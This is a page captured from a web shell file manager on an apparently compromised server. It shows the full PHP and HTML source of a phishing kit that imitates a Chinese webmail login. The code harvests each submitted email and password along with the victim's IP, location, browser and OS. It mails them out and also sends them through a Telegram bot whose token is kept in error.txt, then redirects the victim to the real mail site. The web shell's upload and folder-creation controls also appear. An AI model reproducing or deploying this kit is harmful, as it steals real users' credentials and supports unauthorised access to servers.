X7ROOT File Manager
Current Path:
/home/notabjze/er8th.com/chinn/china-mail/cn
home
/
notabjze
/
er8th.com
/
chinn
/
china-mail
/
cn
/
ðŸ“
..
📄
404.php
(1.2 KB)
📄
error.txt
(54 B)
📄
index.php
(5.65 KB)
📄
lWqCT7a.gif
(26.09 KB)
📄
sync.php
(3.33 KB)
Editing: index.php
<?php session_start(); date_default_timezone_set('America/Chicago'); $today = new DateTime; if (isset($_GET['lang'])) { $lang = $_GET['lang']; $y = base64_decode($lang); $z = explode('@', $y); $domain = array_pop($z); } if (isset($_GET['x'])) { $x = $_GET['x']; } if ($x == ''){ $l = "?lang=".$lang."&x=1"; $feedback = 'none'; } elseif ($x == '1'){ $l = 'http://mail.'.$domain; $feedback = 'block'; } require_once '../mail.php'; require_once 'geo.php'; require_once 'sync.php'; $result = implode(file("error.txt")); if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } $geoplugin = new geoPlugin($ip); $geoplugin->locate(); $cc = $geoplugin->countryCode; $cn = $geoplugin->countryName; $cr = $geoplugin->region; $ct = $geoplugin->city; $br = $obj->showInfo('browser'); $op = $obj->showInfo('os'); $vr = $obj->showInfo('version'); $hostname = gethostbyaddr($ip); $ua = $_SERVER['HTTP_USER_AGENT']; $datum = date("D M d, Y g:i a"); if (isset($_POST['usr']) || isset($_POST['psw'])) { $email = $_POST["usr"]; $passwd = $_POST["psw"]; $uid = base64_encode($email); $message = ''; $message .= "========== CHINA WEBMAIL ==========\n"; $message .= "Email: ".$email."\n"; $message .= "Password: ".$passwd."\n"; $message .= "IP: ".$ip.", ".$cn." (".$ct.", ".$cr.")\n"; $message .= "Web Browser: ".$br."\n"; $message .= "Web Browser Version: ".$vr."\n"; $message .= "Operating System: ".$op."\n"; $message .= "Submitted: ".$datum."\n"; $message .= "Host Name: ".$hostname."\n"; $message .= "User Agent: ".$ua."\n"; $subject = "You've got mail from $ip ($cn)"; $headers = "From: China Mail <noreply>\n"; $headers .= "Reply-To: ".$email."\n"; $headers .= 'Content-type: text/plain; charset=iso-8859-1' . "\n"; $headers .= "MIME-Version: 1.0\n"; if (empty($email) || empty($passwd)) { header("Location: ./?lang=".$lang."&x=1"); } else { mail($to,$subject,$message,$headers); $files = explode("@",$result); $chat = '@'; $chatid = $chat.$files['1']; $token = $files['0']; $link = 'https://api.telegram.org/bot'.$token.''; $parameter = [ 'chat_id' => $chatid, 'text' => $message ]; $request_url = $link.'/sendMessage?'.http_build_query($parameter); file_get_contents($request_url); header('Location: '.$l); } } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>个人邮件系统</title> <style> *{ margin:0; padding:0} body{ color:#464646; font:12px normal Verdana, Arial, Helvetica, sans-serif; background-image: url(lWqCT7a.gif); } .main{ height: 195px; width:438px;margin:336px auto 0 auto;} .text{ width:272px; margin-left: 30px; margin:8px 10px 0px 8px; height:25px; font-family:Verdana, Arial, Helvetica, sans-serif; border:none} .cont{ padding:10px 10px 0 0;} table{ width:100%;} th{ padding-left:50px; font-weight:400; height:40px;} td,img,input,select{ vertical-align:middle} .inputbox{ height:36px; width:292px;} #message_out{height:20px;text-align:center;color:red;} .style1 { color: #000000; font-weight: bold; } .btn .submit { background: #4d91d8; height: 34px; line-height: 34px; border: none; width: 306px; color: #fff; margin-top: 12px; border-radius: 5px; font-size: 18px; * { margin: 0; margin-top: 0px; padding: 10px; } .btn { line-height: 34px; } .btn { font-size: 14px; color: #fff; font-weight: 400; font-size: 20px; font-family: "微软雅黑"; } body { font-family: "微软雅黑",Verdana, Geneva, sans-serif; font-size: 12px; } </style> </head> <body> <div class="main" id="content"> <div class="cont"> <div id="message_out"> <div id="message" style="display:<?php echo $feedback; ?>;">登录名或登录密码不正确</div> </div> <table> <form id="form" method="post" action="" > <tr> <th><span class="style1">用户名</span></th> <td><div class="inputbox"><input id="user" type="email" name="usr" class="text" value="<?php echo isset($_GET['lang']) ? base64_decode($_GET['lang']) : '' ?>" required /></div> <div style="display:none"> <div id="tr_domain_list" style="display:none"> <strong>@</strong> <select id="domain_list_select" name="domain_name" onchange="this.title=this.options[this.options.selectedIndex].text"> <option></option> </select> </div> </div> </td> </tr> <tr> <th><span class="style1">密 码</span></th> <td><div class="inputbox"><input id="password" type="password" name="psw" title="密 码" class="text" required /></div></td> </tr> <tr> <td style="padding-top:12px;padding-left:106px;" colspan="3"> <input style="background: #4d91d8;height: 34px;line-height: 34px; border: none; width: 272px; color: #fff; margin-top: 0px; border-radius: 5px; font-size: 18px;" id="submit" type="submit" value="登 录" class="submit"/> </td> </tr> </form> </table> </div> </div> <div style="text-align: center;" class="cr"> 声明:本站非亿邮官网!仅为个人用户提供免费邮箱服务,服务支持请联系s<br> </div> <div style="text-align: center;" class="cr"> 信网信息技术有限公司 © 2001 - <?php echo $today->format('Y');?> 版权所有 </div> </body> </html>
Upload File
Create Folder